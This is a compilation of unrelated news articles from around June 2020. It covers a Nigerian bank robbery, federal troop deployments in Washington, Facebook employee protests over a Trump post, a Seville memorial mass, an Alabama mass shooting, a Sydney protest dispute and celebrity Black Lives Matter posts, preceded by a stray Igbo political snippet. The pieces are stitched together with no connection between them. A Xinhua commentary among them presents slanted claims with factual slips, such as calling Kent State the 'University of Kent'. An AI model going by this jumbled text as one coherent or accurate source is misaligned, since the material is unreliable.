Before the 2019 general elections, we heard rumors of the Abakaliki bloc being called the foolish majority. Is this act by the elders of the oldest clan a substantiation of that insult?

Tuphekwa!

Oburu le Ngbo, anyi ekuo hee ndu ogerenya mbekpe!


Nine persons, including eight policemen, were killed in Isanlu, Kogi state, when a gang of suspected armed robbers attacked a branch of ...

Nine persons, including eight policemen, were killed in Isanlu, Kogi state, when a gang of suspected armed robbers attacked a branch of first generation bank in the town.





The divisional police officer (DPO) was among the officers killed in the town.





The DPO, two policewomen, and four other police officers were said to have been killed at the station while another police officer was killed within the banks premises.





The other victim, a male civilian, died when a stray bullet hit him.

The armed men were said to have invaded the police station, setting all the detainees free before killing the officers.





They subsequently moved to the bank where they carted away an undisclosed amount of money.





Segun Thomas, a witness, reportedly said the robbery operation lasted for one hour.





The robbers came in two vehicles  a bus and a car  with which they also escaped from the town, the witness was quoted to have said.





The car, said to have been snatched from its owner, was reportedly abandoned around Kizito College, Isanlu.





William Aya, spokesman of the state police command, confirmed the robbery and the attack on the police station. He added that the casualty figure was still hazy.





The commissioner of police, Mr Ede Ayuba, has dispatched the deputy commissioner of police in charge of operation, to Isanlu to ascertain the true situation, he said.





Aya promised to speak with the media as soon as details are available.




The federal plan to contain continuing protests in Washington, D.C. currently employs about 7,600 civilian law enforcement, National Guard and active-duty Army personnel stationed just outside the city, an array of forces Attorney General William Barr and others say is justified to defend the capital at a time of unrest.

An internal document compiled for the Joint Chiefs of Staff on Thursday and seen by Bloomberg News provides the most detailed breakdown of federal force numbers and locations as the government seeks to contain protests after the killing of an unarmed black man, George Floyd, at the hands of Minneapolis Police.

The document, which isn't classified, shows 2,950 law enforcement personnel from U.S. agencies working alongside 2,935 National Guard troops, bolstered by 1,704 active-duty troops who are currently stationed outside the capital at Andrews Air Force Base, Fort Belvoir and Fort Myer.

The total deployments include 500 personnel each from the U.S. Capitol Police, Washington Police Department and U.S. Secret Service; 445 Bureau of Prisons staff, 168 members of the U.S. Marshals Service, 160 Drug Enforcement Agency employees, 80 U.S. Park Police and 32 FBI agents.

The document is titled "Domestic Unrest -- Washington D.C. Overview." It was prepared Thursday by a division of the Joint Staff that monitors homeland defense issues for Gen. Mark Milley, chairman of the Joint Chiefs.

The numbers come to light as former Defense Secretary James Mattis and others have decried what they see as the militarization of the law enforcement response designed to keep the peace following several nights of demonstrations, some of which turned destructive as protesters broke windows and sprayed graffiti on federal monuments. And it follows the Trump administration's decision to clear peaceful protesters from a park in front of the White House on Monday so the president could stand before a historic church holding a Bible.

The active-duty forces stationed outside Washington would be deployed into the city only as part of a contingency plan if President Donald Trump decided to invoke the Insurrection Act, an 1807 law that allows the U.S. military to be put on the streets for law enforcement purposes. Trump signaled several days ago that he might invoke the act. But violence among protesters has declined in recent days, leading Defense Secretary Mark Esper to say Wednesday that he opposed the use of the law, and some active-duty forces are beginning to return to their home bases.

Trump, too, has now said he believes the National Guard can handle the protests, both in Washington and around the nation.

On Thursday, Esper ordered back to their home base at Fort Bragg in North Carolina about 700 soldiers assigned to an 82nd Airborne division task force, according to a defense official. The remaining active-duty personnel, mostly Military Police and engineering units, remain in the Washington area for now.

Washington's Mayor Muriel Bowser cited the increasingly peaceful protests in asking Trump to "withdraw all extraordinary federal law enforcement and military presence." In a letter she posted on Twitter Friday, Bowser said the deployment of federal personnel is "inflaming demonstrators and adding to the grievances of those who, by and large, are peacefully protesting for change."

The Pentagon document provides a snapshot of the wide array of agencies that have been called on to help the federal government maintain control of what, over the weekend, was an increasingly violent situation at some of the protests in the U.S. capital. Because Washington isn't a state, the federal government has greater leeway to become engaged in the law enforcement response without having to rely on permission from governors.

A Defense Department official said the document is part of an effort to ensure top officials are aware of the situation in cities affected by unrest. A Justice Department official said that about 3,000 department staff have been activated for the protests but not all are deployed. Both officials asked not to be identified discussing internal matters.

Protesters in Washington have questioned why some personnel deployed in the capital aren't wearing badges that clearly identify their agencies or their names, an issue Bowser also cited in her letter to Trump. Barr said on Thursday that many agents in the federal system don't normally wear badges with their names and that many personnel aren't accustomed to responding to civil unrest.

"In the Department of Justice we do not really have large numbers of units that are trained to deal with civil disturbances," Barr said. "I could understand why some of these individuals simply wouldn't want to talk to people about who they are, if that in fact was the case."

Sen. Chris Murphy. D-Conn., Minority Leader Chuck Schumer, D-N.Y., proposed legislation Thursday that would require law enforcement officers and members of the Armed Forces to clearly identify themselves and their agency or service while they are engaged in crowd control or arresting individuals involved in civil disobedience or protests within the U.S.

National Guard forces on Thursday included 1,724 troops from nine states, with an additional 1,353 personnel planned, according to the document. The biggest contingent currently comes from South Carolina, with 446 National Guard, but a deployment of 1,055 from Tennessee is planned, the document says.

Among the active-duty forces listed as on call from their home base of Fort Myer, abutting Washington, are 432 members of the 3rd Infantry Regiment, or "Old Guard." It's the Army's oldest active unit, whose members escort the president and are best known for 24-hour vigils over the Tomb of the Unknown Soldier at Arlington National Cemetery. Active-duty troops from the 82nd Airborne and other units are also stationed at Joint Base Andrews in Maryland and at Fort Belvoir, Virginia.

House Armed Services Chairman Adam Smith has demanded that Esper provide details about whether active-duty troops have been told to prepare for duty in the capital and what weapons they would be armed with.

Barr said Thursday that he was assigned by Trump with oversight of the federal response to protests that became increasingly violent over the weekend.

"This is the federal city. It's the seat of the federal government," Barr said at a news conference in Washington. "It is the responsibility of the federal government to render that protection."
Protesters rally in front of the White House during a protest over the death of George Floyd in Washington D.C., the United States, on June 4, 2020. (Xinhua/Liu Jie)

By Lai Xiangyu

George Floyd, an African American, died on May 25, 2020 after Derek Chauvin, a white police officer, knelt on Floyd's neck for almost nine minutes. The death of George Floyd has triggered a rare upsurge of massive protests across the US. As the police were unable to control the situation, National Guard troops in various states and Washington DC have been activated to help perform a task too familiar for the Americans - suppressing civil protests with force.

As an important reserve force of Americas armed forces, the National Guard belongs to the states themselves and can be quickly deployed directly by the state government, to cope with various situations at different places. Meanwhile, as part of the US military, the National Guard boasts a strong combat force with almost identical leading battle equipment as that of the US armed forces, which makes it highly effective in suppressing the civil protests and unrest.

However, the suppression by the National Guard and other troops is like the advent of Death for ordinary Americans. On May 29, the National Guard drove their M1117 armored vehicles into downtown Minneapolis, after which more armored vehicles and fully armed National Guard soldiers appeared in Arizona, Arkansas, California and other cities.

The troops soon showed up American militarys traditional approach of excessively using force against civilians after they entering downtown areas. On May 30, they fired at civilian houses randomly after clearing the way with armored vehicles the minute they entered Minneapolis, hitting multiple residents with the non-destructive paintballs and rubber bullets. Whats more astonishing is that many Guard troops deployed in different places were videoed installing mufflers on their rifles.

Officers of New York police department arrest a demonstrator during a protest over the death of George Floyd in the Brooklyn borough of New York, the United States, May 30, 2020. Thousands of New Yorkers have taken to the street to voice their anger over police brutality and racism in the wake of the death of George Floyd in police custody on Monday in Minneapolis. (Photo by Michael Nagle/Xinhua)

The new large-scaled excessive use of force by American troops is genuinely confounding. What on earth makes US resort to force against its own people even though it frequently adopted the same iron-fisted approach toward other countries? Why is the US always so militant when dealing with problems? Answers to these questions may be found in history.

In 1932, the Thursday massacre in Washington astonished the world. Many WWI veterans who shed blood on the battlefield to serve their country were confronted with military tanks, tear gas, and gunpoint, either killed or injured while running away from the militarys brutal suppression. The US military dared to use sheer force to oppress and slaughter veterans whose military exploits hadnt faded yet, so what chances do the civilians stand today?

Even after the Affirmative Action raged across the US in full swing in the 1960s, the US military still resolutely suppressed the anti-racism protests and riots and anti-war movement with force, causing one bloodshed tragedy after another. In 1970, students at the University of Kent waged a righteous campaign against Americas invasion of Cambodia and expansion of the war. Sadly, the gunshots fired by National Guard soldiers turned the protest into a massacre with four dead and nine injured. Before that, the Detroit riot in 1967 left 43 dead and 467 injured just because of a large-scale inspection of bars conducted by the police.

The bloody facts in history are silently complaining about the abuses of the US military and National Guard troops. Why always the US? Why always military actions? Why are civilians always killed and injured?

A demonstrator reacts after being pepper-sprayed by police during a protest over the death of George Floyd in the Brooklyn borough of New York, the United States, May 30, 2020. Thousands of New Yorkers have taken to the street to voice their anger over police brutality and racism in the wake of the death of George Floyd in police custody on Monday in Minneapolis. (Photo by Michael Nagle/Xinhua)

As the US was falling back into the abyss of turmoil and armed conflicts, president Trump, was rooting for MacArthur and Patton, who brutally oppressed the WWI veterans many years ago. He requested all states to follow the example of forced suppression in Minneapolis, even claiming to mobilize the military to solve problems by citing the Insurrection Act. Again, capitalism and racism, the deep-rooted conflicts in this superpower, have surfaced.

Currently the COVID-19 pandemic is ravaging across the country because of Trump administrations poor response. While Black people and other ethnic minority groups, who could hardly make ends meet in normal times, could barely keep on in the first half of this year due to the shortage of living necessities and fundamental fairness and justice. The US, the worlds only superpower, hegemon, and capitalist paragon, decides to protect the interests of its magnates without any hesitation during the pandemic. The government did its best to reduce losses by pushing the QE and work and production resumption at the expense of ordinary Americans, turning a blind eye to the huge impacts suffered by the latter. Instead of doing its best to control the spread of the epidemic and help the people get through this difficult time, Washington even ordered the whole country to re-open businesses while the pandemic is still on the rise. The US politicians are in a desperate attempt to make up for worsened economy due to the incompetence of those decision-makers at the White House and the Capitol Hill, as if the American lives mean nothing in their eyes.

Now that the people have finally vented out their anger, once again the US chose to do what its good at, confronting people with armored vehicles and bullets, defending capitalism and racism at the cost of more lives, justice, and fairness. Those who harm others will eventually harm themselves. The pains and bullying inflicted upon the Americans at the bottom of the society and the ethnic minorities will evolve into more flaming sceneries on American soil.
Thousands of Facebook workers demanded that their boss, CEO Mark Zuckerberg, flag President Trumps controversial post about looting and shooting as a third employee has resigned in protest of the companys hands-off policy.

Internal documents leaked to The Washington Post revealed that most of the 5,500 Facebook employees who voted in a poll wanted Zuckerberg to change the companys policy allowing politicians virtually unfettered free speech.

Fact checking and removal of hate speech shouldnt be exempt for politicians, the Facebook employees wrote. This demand was raised before Zuckerberg when the boss held a virtual town hall this week.

Zuckerberg hosted the virtual town hall on Tuesday. During the 90-minute Q&A with employees, he defended the decision to refrain from flagging Trumps post.

He said that he didnt think that the post read as a dog whistle for vigilante supporters to take justice into their own hands.

The CEO said it was decided to leave up the post because people need to know if the government is planning to deploy force.

Zuckerberg also told his employees that Trump later clarified the post by saying that the original post was warning about the possibility that looting could lead to violence.

Facebook CEO Mark Zuckerberg's decision to allow President Trump's post about the Minneapolis riots to remain online without a disclaimer has angered his employees, according to internal documents

On May 29, as riots engulfed Minneapolis and unrest spread to other parts of the country, the president took to social media and wrote: Any difficulty and we will assume control but, when the looting starts, the shooting starts.

A day after Trumps post, Zuckerberg wrote on Facebook: 'I know many people are upset that we've left the President's posts up, but our position is that we should enable as much expression as possible unless it will cause imminent risk of specific harms or dangers spelled out in clear policies.

He further described himself as 'the leader of an institution committed to free expression.

Zuckerbergs response has failed to quell the unrest in his own ranks. According to the Post, many employees question his commitment to diversity given the few people of color in an executive position within Facebook.

Facebook, like other tech firms, has been criticized for its lack of diversity. Just 4 per cent of Facebook employees are African-American.

Among the companys senior leadership, just 3 per cent are black, according to the Post.

The most senior African-American at Facebook is Maxine Williams, who is chief of diversity. Williams is the only person of color involved in the companys decision to leave up Trumps posts.

Facebook said in a statement: We have teams around the company giving serious attention to the ideas were hearing, especially those from our Black community.

This is a time not just to listen but to act.

Internal message boards show that there is a growing sense among Facebook employees that the company is in an abusive relationship with the president.

They have complained that the company has not taken action against Trumps posts even though it is claimed that they violate community standards prohibiting hate speech and incitement to violence.

The internal documents also show that Zuckerberg is being perceived by his employees as bending over backwards to try and appease conservatives who have accused him and his 45,000-person workforce of having a liberal bias.

Employees were further angered when Zuckerberg not only refused to put a disclaimer or remove the post by Trump, but went on Fox News and explained his rationale.

The inner turmoil at the company was amplified by the raging protests throughout the country.

The president has been accused of fanning racial tensions that exploded to the surface after the May 25 death of George Floyd, the 46-year-old black man who died in the custody of Minneapolis police.

On May 29, as riots engulfed Minneapolis and unrest spread to other parts of the country, the president took to social media and wrote: I cant stand back & watch this happen to a great American City, Minneapolis. A total lack of leadership.

Either the very weak Radical Left Mayor, Jacob Frey, get his act together and bring the City under control, or I will send in the National Guard & get the job done right.

These THUGS are dishonoring the memory of George Floyd, and I wont let that happen.

Timothy J. Aveni, 22, quit his job at Facebook to protest the decision not to flag Trump's post

Mark always told us that he would draw the line at speech that calls for violence, Aveni wrote. He showed us on Friday that this was a lie'

Just spoke to Governor Tim Walz and told him that the Military is with him all the way.

Any difficulty and we will assume control but, when the looting starts, the shooting starts.

Thank you!

Trumps tweet was slapped with a disclaimer by Twitter, which flagged the president for violating the companys rules about glorifying violence.

The phrase when the looting starts, the shooting starts was made famous by Walter Headley, Miamis chief of police who was known to be a racist and who used it when describing attempts to put down race riots in the late 1960s.

Trump told reporters that he was unaware of the racially charged history of the phrase.

In trying to clarify, the president later tweeted: Looting leads to shooting, and thats why a man was shot and killed in Minneapolis on Wednesday night - or look at what just happened in Louisville with 7 people shot.

I dont want this to happen, and thats what the expression put out last night means....

It was spoken as a fact, not as a statement.

Its very simple, nobody should have any problem with this other than the haters, and those looking to cause trouble on social media.

Honor the memory of George Floyd!

Unlike Facebook, Twitter also put a disclaimer on another tweet by Trump - this one about his claim that vote-by-mail initiatives are susceptible to voter fraud.

In response, Trump signed an executive order which threatens to remove legal protections that prevent social media companies from being sued over content posted by third parties.

Another employee, Owen Anderson, announced his resignation from Facebook in protest

Another social media giant, Snapchat, removed Trump's account from its Discover timeline, a feature that promotes notable accounts to users who do not ordinarily follow them.

The social media company explained its decision by saying that Trump's posts incited 'racial violence.'

Last week, it was learned that some 700 employees at Facebook were unhappy with the social media giant's decision to not take any action on controversial posts by Trump, despite having been flagged on Twitter.

Twitter allowed the post to remain online, but it placed a warning that it 'glorified violence.' It also did not allow users to respond to the tweet.

When the White House Twitter account posted the same tweet, Twitter also moved to impose the same restrictions.

Some of the employees called on Facebook executives to reconsider the decision to keep up Trump's controversial posts about mail-in ballots and the Minnesota protests.

'I have to say I am finding the contortions we have to go through incredibly hard to stomach,' one employee was quoted in an email as reported by The Verge.

'All this points to a very high risk of a violent escalation and civil unrest in November and if we fail the test case here, history will not judge us kindly.'

At least three employees resigned in protest of the companys decision not to put a disclaimer or to outright delete the post.

Timothy Aveni, a software engineer, announced his resignation on his Facebook page on Monday.

Mark always told us that he would draw the line at speech that calls for violence, Aveni wrote.

He showed us on Friday that this was a lie.

On Friday, it was learned that a third employee informed his bosses at Facebook that he was quitting in protest. The above image shows Facebook headquarters in Menlo Park, California

Facebook will keep moving the goalposts every time Trump escalates, finding excuse after excuse not to act on increasingly dangerous rhetoric.

Another employee, Owen Anderson, tweeted on Monday: To be clear, this was in the works for a while.

But after last week, I am happy to no long support policies and values I vehemently disagree with.

On Friday, it was reported by Recode that a third employee has left the company in protest of the decision to leave Trumps post as is.

The unnamed employee, who is described as a person of color though not an African-American, announced his resignation in an internal WhatsApp group message board.

The note, which was addressed to Zuckerberg, reads: Im deeply ashamed of working in a company that gives free rein to a racist post because it is by a politician.

Black employees from your own company have asked you to respond meaningfully, but you remain alternately defensive and evasive ... Youve disappointed us all  the few people of color in your company  and your refusal to speak out against violence against Black people is chilling.

The day before Zuckerberg held his virtual town hall, many Facebook employees staged a virtual walkout.

The employees, who took the day off by logging into Facebook's systems and requesting time off to support protesters across the country, also added an automated message to their emails saying that they were out of the office in a show of protest.

Dozens of online posts appeared from employees who claimed Trump's post should have been censored or removed altogether.

Among them were all seven engineers on the team maintaining the React code library which supports Facebook's apps.

'Facebook's recent decision to not act on posts that incite violence ignores other options to keep our community safe. We implore the Facebook leadership to #TakeAction,' they said in a joint statement published on Twitter.

'Mark is wrong, and I will endeavor in the loudest possible way to change his mind,' wrote Ryan Freitas, identified on Twitter as director of product design for Facebook's News Feed.

He added he had mobilized '50+ likeminded folks' to lobby for internal change.

On Monday night, Zuckerberg then held a conference call with civil rights leaders who condemned him for failing to remove the post from President Trump.

A demonstrator in New York City gestures during a protest against the death in Minneapolis police custody of George Floyd on Friday

In a subsequent statement, Rashad Robinson of Color of Change, Vanita Gupta of the Leadership Conference and Sherrilyn Ifill of LDF said: 'He [Zuckerberg] did not demonstrate understanding of historic or modern-day voter suppression and he refuses to acknowledge how Facebook is facilitating Trump's call for violence against protesters. Mark is setting a very dangerous precedent for other voices who would say similar harmful things on Facebook.'

Color of Change President Rashad Robinson also told Bloomberg: 'The problem with my ongoing conversations with Mark, is that I feel like I spent a lot of time, and my colleagues spent a lot of time, explaining to him why these things are a problem, and I think he just very much lacks the ability to understand it.

'He continues to do things and make decisions that hurt communities and put people in harm's way and is not accountable for it.

'His employees are outraged. I've got outreach from some of them. Saying Black Lives Matter, saying I'm going to give money, but having your policies actually hurt black people, people will know the difference.' Some of the company's senior staff have taken to Twitter to make their discontent.'

However, in his Tuesday meeting with his Facebook employees, Zuckerberg insisted he was not deferring to President Trump.

'This isn't a case where [Trump] is allowed to say anything he wants, or that we let government officials or policy makers say anything they want.'
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Families of Spain's coronavirus victims attended a mass funeral service at Seville Cathedral in one of the largest social gatherings since lockdown.

More than 500 people wore face masks and sat in chairs separated by two meters - instead of pews - on Thursday as they paid tribute to family members who had died from the disease.

Heartbroken relatives and city officials clasped their hands and bowed their heads in prayer throughout the service, which was officiated by archbishop of Seville, Juan Jose Asenjo, and attended by Andalusian regional president Juanma Moreno.

The ceremony was strictly invite only in a bid to ensure social distancing measures were maintained, and relatives had to email beforehand to ensure a seat would be reserved.

Dozens of people wore face masks as they sat two metres apart from each other during the service

Devastated relatives attended the memorial mass for Seville's coronavirus victims in memory of those who had lost their lives

Choir members stood during the memorial mass before they performed Mozart's Requiem

Some attendees had travelled hundreds of miles from other parts of Spain where ceremonies are not yet allowed.

'It is very possible that in the past three months many of us have, like Jesus, lifted our eyes to the heavens and asked 'My God, My God, why have you forsaken me?',' Archbiship Asenjo said as he opened the service.

A nearly 90-strong choir and orchestra performed Mozart's Requiem in memory of the 287 people who have died from the virus in Seville as family members wiped tears away under the cathedral's towering vaulted ceiling.

Service attendees were seen clasping their hands and bowing their heads in prayer

Juan Jose Asenjo Archbishop of Seville, right, is pictured arriving at the memorial service

A group of priests dressed in white robes and wearing face masks officiated the memorial mass

The archbishop of Seville, Juan Jose Asenjo, is seen walking down the aisle at the memorial mass at the Seville cathedral

Spain's health ministry has confirmed that over 27,130 lives have been lost to the pandemic in the country - the fifth-highest rate in the world behind France, Brazil, Italy, the UK and the US.

The country has also seen more 240,660 confirmed cases of the killer bug, again the fifth-highest rate in the world.

Spain went into lockdown in mid March in a bid to curb a soaring number of cases and deaths, but restrictions have been gradually eased in a staged rollback with the country's epidemic under control.

Seville is currently in phase two of the rollback,meaning that places of worship can operate at 50 per cent capacity.

Before communion was distributed, a priest gave clear instructions on how to take the wafers safely, removing masks for just a brief moment

Seville is currently in phase two of the rollback, meaning that places of worship can operate at 50 per cent capacity. Above, a woman looks on throughout the ceremony

Andalusian regional president, Juanma Moreno (centre) is pictured arrived at the memorial mass

Archbishop Juan Jose Asenjo conducted the funeral mass for the victims, with attendees describing the service as 'very much appreciated'

'For me this event is important because my sister has passed away in Madrid.. and we haven't been able to hold a private ceremony because it's not allowed in this phase,' said a mourner called Maria who declined to give her family name.

'But this (mass) is very much appreciated.'

The vast cathedral, a World Heritage Site where Christopher Columbus is buried, covers more than 11,000 square metres, with the choir and the orchestra set up in front of an intricately-carved wooden Gothic facade.

'It's a huge space. The cathedral has a capacity of 4,000 people but they have only put in 600 seats,' said Jose Carlos Carmona, musical director of the Seville symphony orchestra and the university choir.

Performing together for the first time in three months, 27 musicians - all of them masked except for the wind players - accompanied four soloists and a 53-strong choir who sang without masks.

Carmona said a team of professionals had created a detailed plan with 'very clear interpersonal distances between each member of the orchestra and the choir' to keep within the guidelines.

'This is a solemn event which expresses some of Seville's pain but also that of Spain and the rest of the world,' he added.

Acolytes wore protective face masks as they attended the funeral mass for Seville's 287 victims of coronavirus

Two women are pictured in the cathedral of Seville after the memorial mass had finished

A man wearing a ribbon of the Spanish flag bowed his head as he listened to the ceremony

Worshipers closed their eyes in prayer during the orchestra and choir performance

Before communion was distributed, a priest gave clear instructions on how to take the wafers safely, removing masks for just a brief moment.

'I think it's important that there's a recognition and memorial for the victims and the families of the more than 27,000 people who died.. It means they haven't died in vain and that they have value, not just for their families but for the whole country.' said Carmen Andrea, another of those in attendance.

Family members bowed on their knees behind chairs - instead of pews - while they prayed throughout the service

The ceremony was strictly invite only, and family members had to email beforehand to ensure a seat would be reserved
Seven people were killed in a mass shooting at a residence in Morgan County late Thursday.

Investigators are still working to identify one of the victims. Officers are pursuing leads on suspects.

The Morgan County Sheriffs Office identified six of the victims: Tammy England Muzzey, 45, and 21-year-old Emily Brooke Payne, both of Valhermoso Springs; Roger Lee Jones Jr., 19, of Decatur; a 17-year-old juvenile girl; 31-year-old Jeramy Wade Roberts of Athens; and 18-year-old William Zane Hodgin of Somerville. A black male victim has yet to be identified.

[UPDATE] 6 Victims Identified

-WF Tammy England Muzzey 45 of Valhermoso Springs

-WF Emily Brooke Payne 21 of Valhermoso Springs

-BM Roger Lee Jones Jr 19 of Decatur

-WF Juvenile, 17

-WM Jeramy Wade Roberts 31 of Athens

-WM William Zane Hodgin 18 of Somerville

-BM Unidentified pic.twitter.com/JvxXg3wvJt  Morgan County Sheriff's Office (@morgan_sheriff) June 5, 2020

Deputies said there are two white men, two black men and three white women. No children. Removal of bodies is ongoing.

Officials at 2:30 p.m. identified two victims: Jeramy Wade Roberts, of Athens, 31, and Willian Zane Hodgin, 18, of Summerville were among those killed.

Investigators believe any suspect or suspects have fled the area and theres no risk to the public.

Upon arrival at the residence Thursday night, at 11:23, deputies saw part of the home was on fire and later discovered seven bodies inside after the fire was extinguished.

"It is a horrific scene and to be able to process it will take some time, MCSOs public information officer Mike Swafford told a local TV news station. We dont have a motive at this time. We dont have a determined suspect at this time. Investigators are following leads to piece together exactly what happened and who was involved. We can say we dont believe there is an active threat to anybody in the area.

House in rural Morgan County where 7 people were shot to death overnight. Neighbor said house known for heavy drug activity. Sheriff dept. said received frequent calls to house, including drugs. pic.twitter.com/ZkYqJMvJ44  Paul Gattis (@paul_gattis) June 5, 2020

Swafford told AL.com that investigators believe the suspect went to the residence with the intention of shooting everyone there.

Some victims had multiple gunshot wounds, Swafford said. Authorities are still working to identify all of the victims, but Swafford said some lived at the house where the shootings occurred.

Incredibly heinous, talking cold-blooded, Swafford said in describing the homicides.

Deputies at the scene extinguished the fire, which Swafford said investigators speculate was started to cover up the crime.

The director of the countys 911 service two calls reporting gunfire at the residence came in around 11:30 p.m. One caller said a gun had been fired intermittently for an hour.

The Madison County Sheriffs Office and Somerville Police Department were brought in to assist with the crime scene. The FBIs Violent Crimes Taskforce is also assisting.

AL.com has attempted to contact Swafford, the Madison County Sheriffs Office and Somerville Police Department to gather further details about the shooting.

The shooting comes a little over a week after the county witnessed a triple homicide.

The seven deaths make this shooting one of the worst mass homicides in recent Alabama history.

Five people, including a pregnant mother, were killed in Citronelle in 2016. Five people were killed in a robbery in Birmingham in 2012 and five were killed in Shelby County in 2008.

In 2009, 11 people, including the gunman, were killed in a shooting spree in Samson.

This is a breaking news story and will be updated as new information becomes available.
NSW Police will take the organisers of a protest scheduled for Saturday afternoon to the Supreme Court, after its expected numbers swelled in the time since being given approval.

While NSW Premier Gladys Berejiklian on Thursday said she never wanted to take away the right of people to demonstrate their ability to protest, by Friday afternoon she had deemed the rally illegal.

NSW Premier Gladys Berejiklian addresses the media on Friday afternoon. Credit:Rhett Wyman

On Friday, Ms Berejiklian said it "never was and never will be" the state's intention to allow thousands of people to be "flagrantly disregarding the [state's] health orders".

Ms Berejiklian denied she "gave the green light" to the protest but said that when the organisers first presented their event to NSW Police it seemed much smaller, and closer in size to Tuesday night's protest.
Billie Eilish is one of several celebs who's been using their platform to promote Black Lives Matter amid nationwide protests.

But the five-time Grammy winner has also taken her support beyond social media and to the streets.

She posted a video Thursday to her Instagram story as she took a knee while participating in a peaceful protest in Los Angeles, following the killing of George Floyd by Minneapolis ex-police officer Derek Chauvin.

Take a knee: Billie Eilish posted a video Thursday to her Instagram story as she took a knee while participating in a peaceful protest in Los Angeles

Using her platform: She's one of several celebs who's been using their platform to promote Black Lives Matter, following the police killing of George Floyd

Kanye West also joined a protest as he marched with a crowd through his hometown, the South Side of Chicago.

He also launched a college fund for Floyd's six-year-old daughter Gianna, in addition to donating $2million in relation to the killings of Floyd, Ahmaud Arbery and Breonna Taylor.

Lana Del Rey posted a beautiful selfie to Instagram before she stepped out for another day of protesting with friends in Los Angeles.

She also posted a photo of her group wearing face masks on a street crowded with peaceful protesters, one holding a sign that read: 'Racism is a pandemic.'

Chicago born: Kanye West also joined a protest as he marched with a crowd through his hometown, the South Side of Chicago

College fund: He also launched a college fund for Floyd's six-year-old daughter Gianna, in addition to donating $2million in relation to the killings of Floyd, Ahmaud Arbery and Breonna Taylor

Pre-protest: Lana Del Rey posted a beautiful selfie to Instagram before she stepped out for another day of protesting with friends in Los Angeles

Squad goals: She also posted a photo of her group wearing face masks on a street crowded with peaceful protesters, one holding a sign that read: 'Racism is a pandemic'

In solidarity: Miley Cyrus took to her story with a selfie after attending a march the day before

How to help: Lizzo posted a video announcing that she'll be going live Friday with the Black Visions Collective to discuss what people can do to help

Miley Cyrus took to her story with a selfie after attending a march the day before, writing: 'There is a lot of work to be done to end systemic racism and white supremacy in our country, and I personally still have so much to learn and do to support.'

Lizzo posted a video announcing that she'll be going live Friday with the Black Visions Collective to discuss what people can do to help.

Lady Gaga also announced that she's giving her Instagram over to different organizations that she's supporting.

She also wrote: 'And after I vow to regularly, in perpetuity, across all of my social media platforms, post stories, content, and otherwise lift up the voices of the countless inspiring members and groups within the Black community.'

Machine Gun Kelly collaborated with Travis Barker on a cover of Rage Against the Machine's 1992 track Killing In the Name.

He posted a video of the performance, which was cut together with footage of them at the recent protests in Santa Monica.

Dwayne 'The Rock' Johnson called out President Donald Trump in a video: 'Where are you? Where is our leader? Where are you? Where is our leader at this time?

'At this time when our country is down on its knees begging, pleading, hurt, angry, frustrated, in pain, begging and pleading with its arms out just wanting to be heard?'

Cynthia Erivo took to Instagram with a selfie and some uplifting words: 'Today, pain and sadness woke me up to battle it. I found beauty hidden in plain sight.'

Instagram takeover: Lady Gaga also announced that she's giving her Instagram over to different organizations that she's supporting

Lifting Black voices: She also wrote: 'And after I vow to regularly, in perpetuity, across all of my social media platforms, post stories, content, and otherwise lift up the voices of the countless inspiring members and groups within the Black community'

Cover collab: Machine Gun Kelly collaborated with Travis Barker on a cover of Rage Against the Machine's 1992 track Killing In the Name

Protest footage: He posted a video of the performance, which was cut together with footage of them at the recent protests in Santa Monica

No leader: Dwayne 'The Rock' Johnson called out President Donald Trump in a video: 'Where are you? Where is our leader? Where are you? Where is our leader at this time?'

Uplifting words: Cynthia Erivo took to Instagram with a selfie and some uplifting words: 'Today, pain and sadness woke me up to battle it. I found beauty hidden in plain sight'

Emily Ratajkowski posted a conversation to Instagram with activist Tamika D Mallory, discussing systemic racism.

Selena Gomez announced that she'll be letting Black activists take over her Instagram over the next few days.

Kourtney Kardashian posted a photo with son Mason and a heartfelt statement: 'As a mother, there is a natural instinct to protect my children from anything that might make them feel sad or unsafe.

'The pain and suffering inflicted by racism is not a thing of the past and I bare the responsibility to speak with my kids honestly and often about it, even when the truth is uncomfortable.'

Her sister Kim Kardashian also posted a statement on behalf of her shapewear brand Skims: 'We firmly believe that #BlackLivesMatter and we are committed to supporting and participating in the change that needs to take place.'

Taraji P Henson shared some mental health resources, as the Boris Lawrence Henson Foundation offered some free virtual therapy.

Leslie Jones took to Twitter with a simple statement amid the protests: 'I'm just exhausted...'

Systemic racism: Emily Ratajkowski posted a conversation to Instagram with activist Tamika D Mallory, discussing systemic racism

Black activists: Selena Gomez announced that she'll be letting Black activists take over her Instagram over the next few days

Educating children: Kourtney Kardashian posted a photo with son Mason and a heartfelt statement

Making a change: Her sister Kim Kardashian also posted a statement on behalf of her shapewear brand Skims

Free therapy: Taraji P Henson shared some mental health resources, as the Boris Lawrence Henson Foundation offered some free virtual therapy

Exhausted: Leslie Jones took to Twitter with a simple statement amid the protests: 'I'm just exhausted...'

Anna Kendrick posted a photo from a protest, writing: 'Saw even more white folks out in support today which was cool to see, but guys, we should not lead the chant unless we understand the concept of the downbeat.'

Kerry Washington promoted her Netflix movie American Son, which deals with racially-driven police brutality: 'My dream for this film was to spark conversations that would lead to change.'

Lisa Rinna urged her followers to vote, writing on her story: 'Trump is a wannabe autocrat and you all should be f***ing frightened.'

Gabrielle Union wrote on her story after filing a discrimination complaint against NBC, America's Got Talent and Simon Cowell: 'Change gon come. Don't fight it. Be accountable. Make amends. Commit to doing things differently.'

Her AGT co-star Terry Crews posted an apology: 'It is in this light I want to make further amends with Black women, and in particular @itsgabrielleu for not recognizing the privilege I have - especially in the workplace- and adding this fact to my earlier apology.'

Steph Curry and wife Ayesha attended a protest, as she wrote: 'I want to encourage everyone to show up however you can and keep showing up.'

Follow their lead: Anna Kendrick posted a photo from a protest, writing: 'Saw even more white folks out in support today which was cool to see, but guys, we should not lead the chant unless we understand the concept of the downbeat'

Leading lady: Kerry Washington promoted her Netflix movie American Son, which deals with racially-driven police brutality

Rock the vote! Lisa Rinna urged her followers to vote, writing on her story: 'Trump is a wannabe autocrat and you all should be f***ing frightened'

Don't fight it: Gabrielle Union wrote on her story after filing a discrimination complaint against NBC, America's Got Talent and Simon Cowell

Recognizing privilege: Her AGT co-star Terry Crews posted an apology: 'It is in this light I want to make further amends with Black women, and in particular @itsgabrielleu for not recognizing the privilege I have'

Joining the march: Steph Curry and wife Ayesha attended a protest, as she wrote: 'I want to encourage everyone to show up however you can and keep showing up'

Blac Chyna posted a stunning selfie to promote Fashion Nova, writing: 'My black is beautiful.'

Kaia Gerber announced that BLM ambassador Janaya Future Khan will be going live Friday on her Instagram.

